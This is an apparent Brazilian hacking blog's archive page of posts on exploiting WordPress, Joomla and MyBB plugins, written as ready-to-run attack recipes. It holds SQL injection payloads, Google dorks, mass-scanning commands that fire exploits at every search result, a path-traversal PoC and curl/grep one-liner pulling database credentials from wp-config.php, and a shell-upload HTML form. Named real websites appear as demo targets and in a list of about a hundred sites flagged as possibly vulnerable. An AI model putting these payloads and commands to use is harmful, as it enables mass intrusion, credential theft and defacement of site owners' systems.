Google INURL - Brasil: vulnerability

Mostrando postagens com marcador vulnerability. Mostrar todas as postagens

quinta-feira, 7 de maio de 2015

WordPress FBConnect SQL Injection Vulnerability + INURLBR VALIDATING HTML RETURN

[ + ] INURLBR 2.1
[ + ] EXPLORING: SQLI AND VALIDATING HTML RETURN
[ + ] WORDPRESS: Fbconnect
[ + ] FILE VULN: fbconnect_action=myhome&fbuserid=1
[ + ] EXPLOIT: and 1=2 union select 1,2,3,4,5,group_concat(0x78706c5f73756363657373),7,8,9,10,11,12 from wp_users where id > 0
exec: fbconnect_action=myhome&fbuserid=1 + xpl

  # AUTOR:         Cleiton Pinheiro / Nick: googleINURL
  # Email:         [email protected]
  # Blog:          http://blog.inurl.com.br
  # Twitter:       https://twitter.com/googleinurl
  # Fanpage:       https://fb.com/InurlBrasil
  # Pastebin       http://pastebin.com/u/Googleinurl
  # GIT:           https://github.com/googleinurl
  # PSS:           http://packetstormsecurity.com/user/googleinurl
  # EA:            http://www.exploit4arab.net/author/248/Cleiton_Pinheiro
  # YOUTUBE:       http://youtube.com/c/INURLBrasil
  # PLUS:          http://google.com/+INURLBrasil

[ + ] SEARCH DORK
--dork 'inurl:"?fbconnect_action="'

---------------------------------------------------------------------------

[ + ] OUTPUT VULN
-s sqli.txt

---------------------------------------------------------------------------

[ + ] ID SEARCH ENGINES 1 = GOOGLE + CSE, 6 GOOGLE API
-q 1,6

---------------------------------------------------------------------------

[ + ] EXPLOIT GET
--exploit-get '/?fbconnect_action=myhome&fbuserid=1 and 1=2 union select 1,2,3,4,5,group_concat(0x78706c5f73756363657373),7,8,9,10,11,12 from wp_users where id > 0'

---------------------------------------------------------------------------

[ + ] TYPE INTERNAL VALIDATION
-t 2

---------------------------------------------------------------------------

[ + ] SEARCH FOR CUSTOM VALUE
-a 'xpl_success'

---------------------------------------------------------------------------

[ + ] FILTER HOSTS URL / MOD UNIQUE = HOST+XPL_GET
--unique

---------------------------------------------------------------------------

[ + ] CONVERTED VALUE
0x78706c5f73756363657373 = hex(xpl_success)

---------------------------------------------------------------------------

- We pass the value (hexdecimal)-'0x78706c5f73756363657373' in our sql injection.

Se a string 'xpl_success' aparecer no retorno html do nosso alvo, Significa que foi explorado com sucesso.
If the string 'xpl_success' appears on the html return of our target, it means that was successfully exploited.

Resumindo eu passo um valor pré-definido na minha injeção sql em formato hexdecimal no select ,caso tal valor retorne no formato string significa que foi executado com sucesso.
No tutorial converti a string xpl_success para hexadecimal que fica 78706c5f73756363657373, injeto no server ele executa e prita pro cliente.
No script INURLBR o parâmetro -t level 2 é pra ser validado com uma busca personalizada dentro do alvo, quando quero achar uma determinada string por isso usamos o comando -a complementando, -t 2 anula a busca de outros erros SQLI e vai focar somente em nossa string passada através -a 'sua_string'.

if(HTML == xpl_success){ OK }

[ + ] COMMAND:
php inurlbrpriv8.php --dork 'inurl:"?fbconnect_action="' -s sqli.txt -q 1,6 --exploit-get '/?fbconnect_action=myhome&fbuserid=1 and 1=2 union select 1,2,3,4,5,group_concat(0x78706c5f73756363657373),7,8,9,10,11,12 from wp_users where id > 0' -t 2 -a 'xpl_success' --unique

[ + ] VÍDEO:

DOWNLOAD SCANNER:
https://github.com/googleinurl/SCANNER-INURLBR

REF
http://blog.inurl.com.br/2013/09/exploit-wordpress-fbconnectaction-pei.html
http://www.1337day.com/exploit/15790

terça-feira, 21 de abril de 2015

WordPress NEX-Forms 3.0 SQL Injection Vulnerability

The "submit_nex_form" ajax function is affected from SQL Injection vulnerability

[ I N U R L - B R A S I L ] - [ By GoogleINURL ]

-----------------------------------------------------------------------------

# AUTOR SCRIPT: Cleiton Pinheiro / Nick: googleINURL
# Email: [email protected]
# Blog: http://blog.inurl.com.br
# Twitter: https://twitter.com/googleinurl
# Fanpage: https://fb.com/InurlBrasil
# Pastebin http://pastebin.com/u/Googleinurl
# GIT: https://github.com/googleinurl
# PSS: http://packetstormsecurity.com/user/googleinurl
# YOUTUBE: http://youtube.com/c/INURLBrasil
# PLUS: http://google.com/+INURLBrasil

- Who Discovered http://www.homelab.it/index.php/2015/04/21/wordpress-nex-forms-sqli
- Vulnerability discovered by: Claudio Viviani

-----------------------------------------------------------------------------

- EXPLOIT NAME: MINI exploit-SQLMAP - WordPress NEX-Forms 3.0 SQL Injection Vulnerability / INURL BRASIL
- VENTOR: https://wordpress.org/plugins/nex-forms-express-wp-form-builder/
- Dork Google: inurl:nex-forms-express-wp-form-builder
- Dork Google: index of nex-forms-express-wp-form-builde
- GET VULN: nex_forms_Id=(id)
- $nex_forms_Id=intval($_REQUEST['nex_forms_Id'])

-----------------------------------------------------------------------------

- DBMS: 'MySQL'
- Exploit: AND (SELECT * FROM (SELECT(SLEEP(10)))NdbE)

-----------------------------------------------------------------------------

Info: The "submit_nex_form" ajax function is affected from SQL Injection vulnerability
POC: http://target/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=(id)+Exploit

-----------------------------------------------------------------------------

- --help:
-t : SET TARGET.
-f : SET FILE TARGETS.
-p : SET PROXY
Execute:
php wp3xplo1t.php -t target
php wp3xplo1t.php -f targets.txt
php wp3xplo1t.php -t target -p 'http://localhost:9090'

-----------------------------------------------------------------------------

- EXPLOIT MASS USE SCANNER INURLBR
- COMMAND:
./inurlbr.php --dork 'inurl:nex-forms-express-wp-form-builder' -s wp3xplo1t.txt -q 1,6 --command-all "php wp3xplo1t.php -t '_TARGET_'"

- DOWNLOAD INURLBR:
https://github.com/googleinurl/SCANNER-INURLBR

-----------------------------------------------------------------------------

- INFO: http://www.homelab.it/index.php/2015/04/21/wordpress-nex-forms-sqli/

[!] CODE XPL:
- Xpl script: https://github.com/googleinurl/WordPress-NEX-Forms-3.0-SQL-Injection-Vulnerability

OUTPUT PRINT:

OUTPUT SQLMAP:
[03:18:37] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[03:20:45] [INFO] GET parameter 'nex_forms_Id' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[03:24:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[03:24:15] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[03:25:08] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[03:25:11] [INFO] checking if the injection point on GET parameter 'nex_forms_Id' is a false positive
GET parameter 'nex_forms_Id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 85 HTTP(s) requests:
---
Parameter: nex_forms_Id (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: action=submit_nex_form&nex_forms_Id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))NdbE)
---
[03:25:12] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 5.4.3, Apache 2.2.3
back-end DBMS: MySQL 5.0.12

segunda-feira, 19 de janeiro de 2015

0days Theme Arbitrary File Download Vulnerability + SCANNER INURLBR / EXPLOIT INURL A.F.D Verification

-------------------------------------------------------------------------------------------

Wordpress Theme U-Design Arbitrary File Download Vulnerability
DORK: inurl:"wp-content/themes/u-design/"
ACCESS: http://1337day.com/exploit/23143

-------------------------------------------------------------------------------------------

Wordpress Theme Terra Arbitrary File Download Vulnerability
DORK: inurl:"wp-content/themes/terra/"
ACCESS: http://1337day.com/exploit/23142

-------------------------------------------------------------------------------------------

Wordpress Theme Pindol Arbitrary File Download Vulnerability
DORK: inurl:"wp-content/themes/pindol/"
ACCESS: http://1337day.com/exploit/23144

-------------------------------------------------------------------------------------------

All themes above, are failing in the same revslider plugin.
POC:
http://[target]/[path]/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

[EXPLOIT]: Wordpress A.F.D Verification/ INURL - BRASIL

Exploit developed can check about 20 themes, and allows check standard as follows.POC -> /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

Which is the same as 0day mentioned above.

[Exploit ACCESS]
http://pastebin.com/ZEnbxXXd
http://packetstormsecurity.com/files/129706/WordPress-Themes-download.php-File-Disclosure.html
Please download the exploit and put the name of exploit.php

Now let's use the inurlbr scanner as a mass explorer
[SCANNER INURLBR]
https://github.com/googleinurl/SCANNER-INURLBR

Command use INURLBR:
Ex: php inurlbr.php --dork 'you dork' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

php inurlbr.php --dork 'inurl:"wp-content/themes/u-design/"' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

php inurlbr.php --dork 'inurl:"wp-content/themes/terra/"' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

php inurlbr.php --dork 'inurl:"wp-content/themes/pindol/"' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

Brief introduction --comand

--comand-vul Every vulnerable URL found will execute this command parameters.
Example: --comand-vul {command}
Usage: --comand-vul 'nmap sV -p 22,80,21 _TARGET_'
--comand-vul './exploit.sh _TARGET_ output.txt'

--comand-all Use this commmand to specify a single command to EVERY URL found.
Example: --comand-all {command}
Usage: --comand-all 'nmap sV -p 22,80,21 _TARGET_'
--comand-all './exploit.sh _TARGET_ output.txt'

Observation:
_TARGET_ will be replaced by the URL/target found, although if the user
doesn't input the get, only the domain will be executed.
_TARGETFULL_ will be replaced by the original URL / target found.

-------------------------------------------------------------------------------------------

INURLBR ADVANCED CONTROL

php inurlbr.php --dork 'YOU DORK revslider' -q 1,6 -s wordpress2.txt --exploit-get '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' -t 3 --exploit-comand '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' --comand-all 'echo "_TARGET__EXPLOIT_">> curlwordpress.txt;curl "_TARGET__EXPLOIT_"|grep "DB_" >> curlwordpress.txt;curl "_TARGET__EXPLOIT_"|grep "DB_"'

[TUTORIAL] - Wordpress A.F.D Verification/ INURL - BRASIL + SCANNER INURLBR

[TUTORIAL] - Hacking Painel Wordpress - Slider Revolution

[TUTORIAL] - Getting access to the Wordpress panel

REF:
http://pastebin.com/cGpxRQCs
http://blog.inurl.com.br/2015/01/arbitrary-file-download-vulnerability.html
http://blog.inurl.com.br/2015/01/wordpress-themes-downloadphp-file.html
http://blog.inurl.com.br/2014/08/wordpress-plugin-kenburner-slider-lfd.html
https://github.com/googleinurl/SCANNER-INURLBR#---definindo-comando-externo

domingo, 18 de janeiro de 2015

Arbitrary File Download vulnerability no tema Bretheon do wordpress

Arbitrary File Download vulnerability o que eu chamo de A.F.D.

Foi encontrada tal falha no tema Bretheon do wordpress.

--------------------------------------------------------------------------------------------------------------

DETALHES
Acesso: http://1337day.com/exploit/23140
Exploit Title: Wordpress Theme Bretheon Arbitrary File Download Vulnerability
Date: 17/01/2014
Exploit Author: MindCracker - Team MaDLeeTs
Contact : [email protected] - [email protected]| https://twitter.com/MindCrackerKhan
Tested on: Linux / Window

Google Dork: inurl:wp-content/themes/bretheon/
Demo

http://infiniteloopcorp.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
http://scottysgym.com.au/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
http://vladlogistik.ru/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
http://transinfo.nnov.ru/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

PoC

http://target/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

--------------------------------------------------------------------------------------------------------------

Como tal falha no tema não usa nada de novo e o caminho padrão "admin-ajax.php?action=revslider_show_image&img=" nosso exploit desenvolvido meses atrás já faz tal verificação e pode ser usado tranquilamente.

--------------------------------------------------------------------------------------------------------------

[TUTORIAL]:

https://www.youtube.com/watch?v=w6pxPR_s05w

TUTORIAL DETALHES:
http://blog.inurl.com.br/2015/01/wordpress-themes-downloadphp-file.html

EXECUTE:
php exploit.php www.target.gov.us

--------------------------------------------------------------------------------------------------------------

[EXPLOIT]: Wordpress A.F.D Verification/ INURL - BRASIL

http://pastebin.com/ZEnbxXXd
http://packetstormsecurity.com/files/129706/WordPress-Themes-download.php-File-Disclosure.html

--------------------------------------------------------------------------------------------------------------

sexta-feira, 2 de janeiro de 2015

Wordpress A.F.D Verification/ INURL - BRASIL - WORDPRESS THEMES DOWNLOAD.PHP FILE DISCLOSURE

Multiple WordPress themes suffer from an arbitrary file download vulnerability in download.php. These include Ultimatum, Medicate, Centum, Avada, Striking Theme & E-Commerce, cuckootap, IncredibleWP, Ultimatum, Medicate, Centum, Avada, Trinity, Lote27, and Revslider themes.

------------------------------------------------------------------------------
# *NAME*: Wordpress A.F.D Verification/ INURL - BRASIL
# *TIPE*: Arbitrary File Download
# *Tested on*: Linux
# *EXECUTE*: php exploit.php www.target.gov.us
# *OUTPUT*: WORDPRES_A_F_D.txt
# *AUTOR*: GoogleINURL
# *EMAIL*: [email protected]
# *Blog*: http://blog.inurl.com.br
# *Twitter*: https://twitter.com/googleinurl
# *Fanpage*: https://fb.com/InurlBrasil
# *GIT: * https://github.com/googleinurl
# *YOUTUBE * https://www.youtube.com/channel/UCFP-WEzs5Ikdqw0HBLImGGA
# *PACKETSTORMSECURITY:* http://packetstormsecurity.com/user/googleinurl/
#
------------------------------------------------------------------------------
# Comand Exec Scanner INURLBR:
#
# ./inurlbr.php --dork 'inurl:/wp-content/themes/' -q 1,6 -s save.txt --comand-all "php exploit.php _TARGET_"
#
------------------------------------------------------------------------------
#
# Download Scanner INURLBR:
# https://github.com/googleinurl/SCANNER-INURLBR
#
------------------------------------------------------------------------------

Description:

This exploit allows the attacker to exploit the flaw Arbitrary File
Download in dozens of wordpress themes.
Through regular expressions, the script will perform the check for each
target url checking your wp-config.php file
Regular expressions:
preg_match_all("(DB_NAME.*')", $body, $status['DB_NAME']);
preg_match_all("(DB_USER.*')", $body, $status['DB_USER']);
preg_match_all("(DB_PASSWORD.*')", $body, $status['DB_PASSWORD']);
preg_match_all("(DB_HOST.*')", $body, $status['DB_HOST']);
preg_match_all("(DB_CHARSET.*')", $body, $status['DB_CHARSET']);

*D O R K'S:

WordPress Ultimatum Theme Arbitrary File Download
Vendor Homepage:: http://ultimatumtheme.com/ultimatum-themes/s

WordPress Centum Theme Arbitrary File Download
Vendor Homepage::
http://themeforest.net/item/centum-responsive-wordpress-theme/3216603
Google Dork:: "Index of" & /wp-content/themes/Centum/

WordPress Avada Theme Arbitrary File Download
Vendor Homepage::
http://themeforest.net/item/avada-responsive-multipurpose-theme/2833226
Google Dork:: "Index of" & /wp-content/themes/Avada/

WordPress Striking Theme & E-Commerce Arbitrary File Download
Vendor Homepage::
http://themeforest.net/item/striking-multiflex-ecommerce-responsive-wp-theme/128763
Google Dork:: "Index of" & /wp-content/themes/striking_r/

WordPress Beach Apollo Arbitrary File Download
Vendor Homepage:: https://www.authenticthemes.com/theme/apollo/
Google Dork:: "Index of" & /wp-content/themes/beach_apollo/

Dork Google: inurl:ajax-store-locator
index of ajax-store-locator
Vendor Homepage::
http://codecanyon.net/item/ajax-store-locator-wordpress/5293356

WordPress cuckootap Theme Arbitrary File Download
Google Dork:: "Index of" & /wp-content/themes/cuckootap/
Vendor Homepage:: http://www.cuckoothemes.com/

WordPress IncredibleWP Theme Arbitrary File Download
Vendor Homepage:: http://freelancewp.com/wordpress-theme/incredible-wp/
Google Dork:: "Index of" & /wp-content/themes/IncredibleWP/

WordPress Ultimatum Theme Arbitrary File Download
Vendor Homepage:: http://ultimatumtheme.com/ultimatum-themes/s
Google Dork:: "Index of" & /wp-content/themes/ultimatum

WordPress Medicate Theme Arbitrary File Download
Vendor Homepage::
http://themeforest.net/item/medicate-responsive-medical-and-health-theme/3707916
Google Dork:: "Index of" & /wp-content/themes/medicate/

WordPress Centum Theme Arbitrary File Download
Vendor Homepage::
http://themeforest.net/item/centum-responsive-wordpress-theme/3216603
Google Dork:: "Index of" & /wp-content/themes/Centum/

WordPress Avada Theme Arbitrary File Download
Vendor Homepage::
http://themeforest.net/item/avada-responsive-multipurpose-theme/2833226
Google Dork:: "Index of" & /wp-content/themes/Avada/

WordPress Striking Theme & E-Commerce Arbitrary File Download
Vendor Homepage::
http://themeforest.net/item/striking-multiflex-ecommerce-responsive-wp-theme/128763
Google Dork:: "Index of" & /wp-content/themes/striking_r/

WordPress Beach Apollo Arbitrary File Download
Vendor Homepage:: https://www.authenticthemes.com/theme/apollo/
Google Dork:: "Index of" & /wp-content/themes/beach_apollo/

WordPress Trinity Theme Arbitrary File Download
Vendor Homepage:: https://churchthemes.net/themes/trinity/
Google Dork:: "Index of" & /wp-content/themes/trinity/

WordPress Lote27 Theme Arbitrary File Download
Google Dork:: "Index of" & /wp-content/themes/lote27/

WordPress Revslider Theme Arbitrary File Download
Vendor Homepage::
http://themeforest.net/item/cuckootap-one-page-parallax-wp-theme-plus-eshop/3512405
Google Dork:: wp-admin & inurl:revslider_show_image

Exploit::
http://pastebin.com/ZEnbxXXd
http://packetstormsecurity.com/files/129706/WordPress-Themes-download.php-File-Disclosure.html

sexta-feira, 19 de setembro de 2014

SCANNER INURLBR + Exploit Vulnerability Joomla Plugin Calendar

0xSCAN + EXPLOIT

----------------------------------------------------------------------------------------------------------

0x[+] Exploit Title : Joomla Spider Calendar <= 3.2.6 SQL Injection
0x[+] Exploit Author : Claudio Viviani
0x[+] Vendor Homepage : http://web-dorado.com/
0x[+] Software: http://extensions.joomla.org/extensions/calendars-a-events/events/events-calendars/22329

Date : 2014-08-31
0x[+] Tested on : Windows 7 / Mozilla Firefox
Linux / Mozilla Firefox

------------------------------------------------------------------------------------------------

0xDORK[0]: inurl:option=com_spidercalendar
0xDORK[1]: intext:com_spidercalendar & intext:"index of"
0xDORK[2]: inurl:php & inurl:com_spidercalendar

0xVÍDEO[0]

0xVÍDEO[1]

0xCOMANDO INURLBR EXEMPLO={

./inurlbr.php --dork 'inurl:index.php?option=com_spidercalendar' -s joomla.txt -q 1,6 -t 3 --exploit-get "/index.php?option=com_spidercalendar&calendar_id=1'0x27" --command-vul "python exploit/Joomla/joomla-calendar.py -H http://_TARGET_/"

}

0xSCRIPT INURLBR = {

https://github.com/googleinurl/SCANNER-INURLBR

}

0xEXPLOIT Joomla Plugin Calendar = {

http://1337day.com/exploit/22603

}

terça-feira, 5 de agosto de 2014

WordPress CopySafe PDF Protection 0.6 Shell Upload

0x WordPress CopySafe PDF Protection 0.6 Shell Upload

Continuando a serie de bugs voltados para o famoso wordpress dessa vez apresentamos um dos mais estúpidos que podem existir, esse bug possibilita o defacer fazer o upload de uma shell sem trabalho algum.

A vulnerabilidade fica alocada em lib/uploadify/uploadify.php com isso permite o upload de uma shell sem trabalho algum apos o upload a shell se aloca em http://site.gov.br/wp-content/uploads/shell.php

Bom mas vamos ao codigo do exploit que devera ser salvo como xpl.html no seu pc :)

<form
action="http://website.com/wp-content/plugins/wp-copysafe-pdf/lib/uploadify/uploadify.php"
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="wpcsp_file" ><br>
<input type=text name="upload_path" value="../../../../uploads/">
<input type="submit" name="submit" value="Submit">
</form>

terça-feira, 13 de maio de 2014

Procurando site com Simple PHP Blog usando scanner inurl

Simple PHP Blog <= 0.4.0 - Multiple Remote Exploits,
Vamos usar o scanner inurl para buscar site que possuem o CMS Simple PHP Blog

[ SCANNER INURLBR 1.0 / CONSOLE ]

----------------------------------------------------------------------------------------------------------------------------
0xHOST GOOGLE........: www.google.com.br
0xDORK...............: intext:"Powered by Simple PHP Blog" & inurl:"/blog/" ext:php
0xEXPLOIT............:
0xARQUIVO............: resultado.txt
0xTIPO DE ERRO.......: 2
0xPROCURAR NO ALVO...: Simple PHP Blog
0xIP PROXY...........:
0xPORTA..............:
----------------------------------------------------------------------------------------------------------------------------
0xCARREGANDO CONFIGURAÇÕES...
DEBUG:

Array
(
    [0] => Array
        (
        )

    [host] => www.google.com.br
    [dork] => intext%3A%22Powered+by+Simple+PHP+Blog%22+%26+inurl%3A%22%2Fblog%2F%22+ext%3Aphp
    [arquivo] => resultado.txt
    [tipoerro] => 2
    [exploit] =>
    [achar] => Simple PHP Blog
    [ipProxy] =>
    [porta] =>
    [url] => /search?q=intext%3A%22Powered+by+Simple+PHP+Blog%22+%26+inurl%3A%22%2Fblog%2F%22+ext%3Aphp&num=1900&btnG=Search
    [port] => 80
)

Comando usado no scanner inurl:
php botConsole.php --host='www.google.com.br' --dork='intext:"Powered by Simple PHP Blog" & inurl:"/blog/" ext:php' --arquivo='resultado.txt' --tipoerro='2' --exploit='' --achar='Simple PHP Blog'

ou --achar='Powered by Simple PHP Blog'

Exploit: http://www.exploit-db.com/exploits/1191/

Scanner INURL: http://pastebin.com/TzijC99y

RESULTADO SCANNER POSSÍVEIS VULNERÁVEIS :
TOTAL DE URL's: 179
EXPLOIT USADO:
DORK: intext%3A%22Powered+by+Simple+PHP+Blog%22+%26+inurl%3A%22%2Fblog%2F%22+ext%3Aphp
TOTAL DE POSSÍVEIS VULL: 106
ARQUIVO COM RESULTADO:resultado.txt
LISTA:

http://www.mutualdata.com/blog/index.php
http://www.ashrealms.com/blog/index.php
http://www.gdaa.org.uk/Blog/index.php
http://www.damanicorp.com/blog/index.php?m=10&y=13&entry=entry131012-001437
http://www.damanicorp.com/blog/index.php?m=04&y=07
http://www.traffordbankguesthouse.co.uk/blog/index.php
http://ps.ewi.utwente.nl/Blog/index.php
http://www.aerobiology.ca/blog/index.php
www.aerobiology.ca/blog/index.php
http://www.lofiminds.com/blog/static.php?page=xwung
http://fourseasonsroofingandsiding.com/Roofing-Blog/index.php?category=13
http://www.homesurvey.eu/Blog/index.php
http://www.omegamoon.com/blog/index.php
www.omegamoon.com/blog/index.php
http://www.omegamoon.com/blog/index.php?entry=entry140317-173710
http://boeglin.org/blog/index.php?entry=Flashing-a-BenQ-Z-series-for-free
http://humblecomics.com/blog/index.php
http://www.northernkentuckydancestudio.com/blog/index.php
http://www.ablekidspress.com/blog/index.php
www.ablekidspress.com/blog/index.php
http://courtjones.com/blog/index.php
http://geneyang.com/blog/index.php?entry=entry100524-195255
http://blog.frapu.de/index.php?m=09&y=13&d=&entry=entry130901-200909
http://www.lfpl.org/readers/blog/index.php
www.lfpl.org/readers/blog/index.php
http://shalinsiriwardana.asia/blog/comments.php?y=14&m=01&entry=entry140126-160857
http://www.z80.eu/blog/index.php?entry=entry140316-002012
http://www.rimrockpress.com/blog/index.php?entry=entry110914-115350
www.rimrockpress.com/blog/index.php?entry=entry110914-115350
http://blog.curti.eti.br/stats.php
http://www.donaldsteel.com/blog/index.php
http://www.bbheits.com/blog/index.php
http://www.lautechaee-edu.com/blog/index.php
http://www.bedfordlodge.co.uk/blog.php
www.bedfordlodge.co.uk/
http://www.bignightout.net.nz/blog/index.php?m=11&y=11&entry=entry111120-182043
http://www.createdimage.com.au/blog/index.php?m=01&y=14
http://www.bonniwellmusicmachine.com/blog/static.php?page=MusicMachineVideoBiography
www.bonniwellmusicmachine.com/blog/static.php?page=MusicMachineVideoBiography
http://www.invernessfestivals.com/winter08/blog/index.php?entry=entry131215-100334
www.invernessfestivals.com/winter08/blog/index.php?entry=entry131215-100334
http://www.pluhma.com/blog/index.php?entry=entry000101-205059
http://pdos.csail.mit.edu/scigen/blog/index.php?m=02&y=06
http://www.custom-designbuild.com/blog/index.php?m=02&y=14&entry=entry140215-082241
http://www.masetti.net/blog/archives.php?y=09&m=06
http://www.eliteenglishcentre.es/blog/static.php?page=Welcome
http://blog.hakwerk.com/static.php?page=crazy_it_party
http://www.wetieit.com/blog/index.php?category=1
www.wetieit.com/blog/index.php?category=1
http://theheatersonline.com/blog/index.php
http://fortknox.csc.ncsu.edu/blog/index.php?m=04&y=07&entry=entry070412-140344
http://blog.shuva.in/static.php?page=static070901-005017_about_me
http://www.belgianfamily.com/blog/index.php
http://www.wd5aii.com/blog/index.php?y=13&m=12
http://www.maintsmart.com/Blog/index.php
http://karrkrafts.com/blog/index.php
http://www.pinecountyhistorymuseum.org/blog/index.php
http://william.famille-blum.org/blog/index.php?entry=entry080612-040012
http://www.xandrinho.com/blog/index.php?entry=entry100528-155648
http://www.sbcofficecenter.com/blog/index.php
http://www.soundbysinger.com/audio-blog/index.php
www.soundbysinger.com/audio-blog/index.php
http://www.statetheatreconcerts.com/blog/static.php?page=static100613-122412
www.statetheatreconcerts.com/blog/static.php?page=static100613-122412
http://www.tapestry.co.nz/blog/index.php?entry=entry140123-215640
http://www.serpentbox.com/blog/index.php
http://www.cam-dex.com/blog/index.php
www.cam-dex.com/blog/index.php
http://www.ocsunsetmarina.com/blog/index.php?entry=entry070904-151350
http://www.arrowpipeline.com/blog/index.php?m=12&y=08&entry=entry081221-162738
http://www.africatamed.co.za/blog/comments.php?y=07&m=07&entry=entry070719-153213
http://www.thevacationcalendar.com/Blog/index.php?entry=entry090727-205943
http://www.judocoach.com/blog/index.php?entry=entry130829-103325
www.judocoach.com/blog/index.php?entry=entry130829-103325
http://www.ghostsniper.com/blog/index.php?entry=entry060828-222950
http://www.terraformthemoon.com/blog/index.php?entry=entry110412-005014
http://www.freshstartkz.com/blog/archives.php?y=14&m=03
http://www.freshstartkz.com/blog/archives.php?y=13&m=08
http://www.chrome-lagos.com/blog/index.php?m=10&y=11&entry=entry111010-192213
http://wsanders.net/blog/static.php?page=static070527-095119
http://www.zealsoft.com/blog/index.php?entry=entry051124-083423
http://wiels.nl/blog/index.php
http://www.patopowerparts.com/blog/index.php
http://www.milfordsnowtrekkers.com/blog/index.php
http://www.anglecomm.com/blog/index.php?entry=entry070510-172648
http://www.balishevilla.com/blog/index.php
http://www.asa-houston.org/Projects/Blog-CE/index.php
http://patrickbrennan.net/blog/index.php
http://millerfit.com/blog/index.php
http://www.redkid.net/blog/index.php?entry=entry101111-142242
http://www.och.cc/blog/stats.php
http://mammoth395.com/blog/index.php?entry=entry140213-130501
http://www.kellysheridan.ca/blog/index.php?m=01&y=10
http://www.parkburnguesthouse.co.uk/blog/index.php
http://www.bestpracticesfhc.com/blog/index.php
http://www.emillustration.co.uk/blog/index.php?m=03&y=13&entry=entry130308-180819
http://blog.chinookhelicopters.com/index.php?entry=entry140130-100830
http://www.waltzinghorsefarm.com/blog/index.php
http://www.colonsaybrewery.co.uk/blog/index.php?PHPSESSID=c8cd4e5ca92b1e8b479778772898556f
www.colonsaybrewery.co.uk/blog/index.php?PHPSESSID=c8cd4e5ca92b1e8b479778772898556f
http://www.djdingo.com/blog/contact.php
http://playchesster.com/blog/index.php?entry=entry110914-231540
http://www.nautikites.net/blog/index.php?entry=entry140118-112029
http://berman.nu/blog/index.php?entry=entry080428-235550
http://www.bazayev.com/blog/index.php?entry=entry120327-124716
http://www.bootcampbeach.co.uk/blog/static.php?page=static090501-130242

domingo, 15 de dezembro de 2013

Hacker demonstra "execução remota de código PHP" vulnerabilidade no site EBay.

Remote Code Execution EBay

Hacker demonstra "execução remota de código PHP" vulnerabilidade no site EBay.

Em um vídeo de demonstração, ele explorou a falha RCE no site eBay, e conseguiu exibir a saída da function nativa do php phpinfo(), apenas modificando a URL e injetar código.

[URL - ALVO ] https://sea.ebay.com/search/?q=david&catidd=1

Agora injetando o PHP.
[URL - MODIFICADA] https://sea.ebay.com/search/?q[0]=david&q[1]=sec{${phpinfo()}}&catidd=1

Essa execução só é possível se a página de 'pesquisa' está recebendo "q" valor do parâmetro usando alguma função LOOP como "foreach ()". Muito provavelmente código no final do servidor deve ser algo como:

//php
foreach($_GET['q'] as $dados)
{
if $dados com sucesso é capaz de ignorar algumas funções de filtro de entrada
{
eval("executar algo aqui $dados");
}
}
//php

Vídeo:
OBS: A falha já foi corrigida.
Fonte:thehackernews.

quarta-feira, 27 de novembro de 2013

Usando SCANNER INURL para encontrar falhas / Mybb Ajaxfs Plugin Sql Injection vulnerability.

Usando o [ SCANNER INURL 1.0 CONSOLE ], para encontrar erros "Mybb Ajaxfs Plugin Sql Injection vulnerability".

MyBB (MyBulletinBoard) é um software de sistema de fóruns (bulletin board system) desenvolvido pelo grupo MyBB, é escrito utilizando as linguagens PHP e MySQL, está licenciado como um software livre sob uma GNU Lesser General Public License.

Para explorar a falha no plugin Ajaxfs devemos efetuar uma busca, mas vamos usar
SCANNER INURL CONSOLE.

Download SCANNER INURL CONSOLE:
https://code.google.com/p/scanner-inurl/

Dork[1]::: inurl:ajaxfs.php?tooltip=
Dork[2]::: inurl:ajaxfs.php
Dork[3]::: inurl:/ajaxfs ext:php

Entenda a falha:
http://pastebin.com/XyDrh5SG

Configurando para o scan.
Comando:
php botConsole.php --host='www.google.com.br' --dork="inurl:ajaxfs.php?tooltip=" --arquivo='resultado.txt' --tipoerro='1' --exploit="'\--0x27;"

$php botConsole.php --host='www.google.com.br' --dork="inurl:ajaxfs.php?tooltip=" --arquivo='resultado.txt' --tipoerro='1' --exploit="'\--0x27;"$

Executando

Páginas

Parceiro: Camisetas Hacker

quinta-feira, 7 de maio de 2015

WordPress FBConnect SQL Injection Vulnerability + INURLBR VALIDATING HTML RETURN

terça-feira, 21 de abril de 2015

WordPress NEX-Forms 3.0 SQL Injection Vulnerability

The "submit_nex_form" ajax function is affected from SQL Injection vulnerability

segunda-feira, 19 de janeiro de 2015

0days Theme Arbitrary File Download Vulnerability + SCANNER INURLBR / EXPLOIT INURL A.F.D Verification

domingo, 18 de janeiro de 2015

Arbitrary File Download vulnerability no tema Bretheon do wordpress

sexta-feira, 2 de janeiro de 2015

Wordpress A.F.D Verification/ INURL - BRASIL - WORDPRESS THEMES DOWNLOAD.PHP FILE DISCLOSURE

sexta-feira, 19 de setembro de 2014

